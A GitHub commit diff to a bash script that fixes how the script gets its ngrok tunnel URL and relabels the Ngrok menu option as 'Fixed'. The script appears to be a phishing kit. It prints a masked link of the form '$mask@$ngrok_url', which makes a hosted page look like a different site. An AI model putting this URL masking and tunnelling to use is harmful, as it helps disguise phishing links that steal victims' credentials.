File tree Expand file tree Collapse file tree 1 file changed +4
-4
lines changed
Expand file tree Collapse file tree 1 file changed +4
-4
lines changed Original file line number Diff line number Diff line change @@ -401,13 +401,13 @@ start_ngrok() {
401401 echo -ne " \n\n${RED} [${WHITE} -${RED} ]${GREEN} Launching Ngrok..."
402402
403403 if [[ ` command -v termux-chroot` ]]; then
404- sleep 2 && termux-chroot ./.server/ngrok http " $HOST " :" $PORT " > /dev/null 2>&1 &
404+ sleep 2 && termux-chroot ./.server/ngrok http " $HOST " :" $PORT " --log=stdout > /dev/null 2>&1 &
405405 else
406- sleep 2 && ./.server/ngrok http " $HOST " :" $PORT " > /dev/null 2>&1 &
406+ sleep 2 && ./.server/ngrok http " $HOST " :" $PORT " --log=stdout > /dev/null 2>&1 &
407407 fi
408408
409409 { sleep 8; clear; banner_small; }
410- ngrok_url=$( curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o " https://[-0-9a-z]*\ .ngrok.io" )
410+ ngrok_url=$( curl -s -N http://127.0.0.1:4040/api/tunnels | grep -Eo ' ( https) ://[^/"]+( .ngrok.io) ' )
411411 ngrok_url1=${ngrok_url# https:// }
412412 echo -e " \n${RED} [${WHITE} -${RED} ]${BLUE} URL 1 : ${GREEN} $ngrok_url "
413413 echo -e " \n${RED} [${WHITE} -${RED} ]${BLUE} URL 2 : ${GREEN} $mask @$ngrok_url1 "
@@ -454,7 +454,7 @@ tunnel_menu() {
454454 cat << - EOF
455455
456456 ${RED} [${WHITE} 01${RED} ]${ORANGE} Localhost ${RED} [${CYAN} For Devs${RED} ]
457- ${RED} [${WHITE} 02${RED} ]${ORANGE} Ngrok.io ${RED} [${CYAN} Buggy ${RED} ]
457+ ${RED} [${WHITE} 02${RED} ]${ORANGE} Ngrok.io ${RED} [${CYAN} Fixed ${RED} ]
458458 ${RED} [${WHITE} 03${RED} ]${ORANGE} Cloudflared ${RED} [${CYAN} NEW!${RED} ]
459459
460460 EOF
You can’t perform that action at this time.
0 commit comments